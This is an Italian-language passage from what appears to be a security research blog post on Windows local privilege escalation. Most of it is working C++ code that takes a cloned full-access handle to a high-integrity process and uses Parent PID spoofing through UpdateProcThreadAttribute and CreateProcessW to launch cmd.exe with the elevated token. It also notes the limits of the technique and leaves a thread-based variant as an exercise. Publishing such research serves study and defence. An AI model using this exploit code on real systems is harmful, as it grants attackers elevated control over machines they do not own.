A questo punto clonedHandle conterrà un handle PROCESS_ALL_ACCESS a un processo ad alta integrità. Da qui in avanti si segue la procedura standard per creare un nuovo processo (in questo caso cmd.exe) che erediti il token dal processo di cui abbiamo l’handle PROCESS_ALL_ACCESS. La tecnica utilizzata è un classico esempio di Parent PID spoofing utilizzando la funzione CreateProcessW, così come spiegato in questo post del buon spotless

STARTUPINFOEXW sinfo = { sizeof(sinfo) };
PROCESS_INFORMATION pinfo;
LPPROC_THREAD_ATTRIBUTE_LIST ptList = NULL;
SIZE_T bytes = 0;
sinfo.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &bytes);
ptList = (LPPROC_THREAD_ATTRIBUTE_LIST)malloc(bytes);
InitializeProcThreadAttributeList(ptList, 1, 0, &bytes);
UpdateProcThreadAttribute(ptList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &clonedHandle, sizeof(HANDLE), NULL, NULL);
sinfo.lpAttributeList = ptList;
std::wstring commandline = L"C:\\Windows\\System32\\cmd.exe";

auto success = CreateProcessW(
	nullptr,
	&commandline[0],
	NULL,
	NULL,
	true,
	EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
	NULL,
	NULL,
	&sinfo.StartupInfo,
	&pinfo);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);

Vediamo il tutto in azione 😊

poc gif

Alcune note:

  • Se il processo a media integrità appartiene a un altro utente, non sarà possibile aprirlo in quanto sarebbe necessario il privilegio SeDebugPrivilege
  • In questo post abbiamo volontariamente lasciato l’implementazione dell’exploit sui thread come esercizio per il lettore 😉

Questo è quanto per oggi, alla prossima.

last out!

Referenze

❌
❌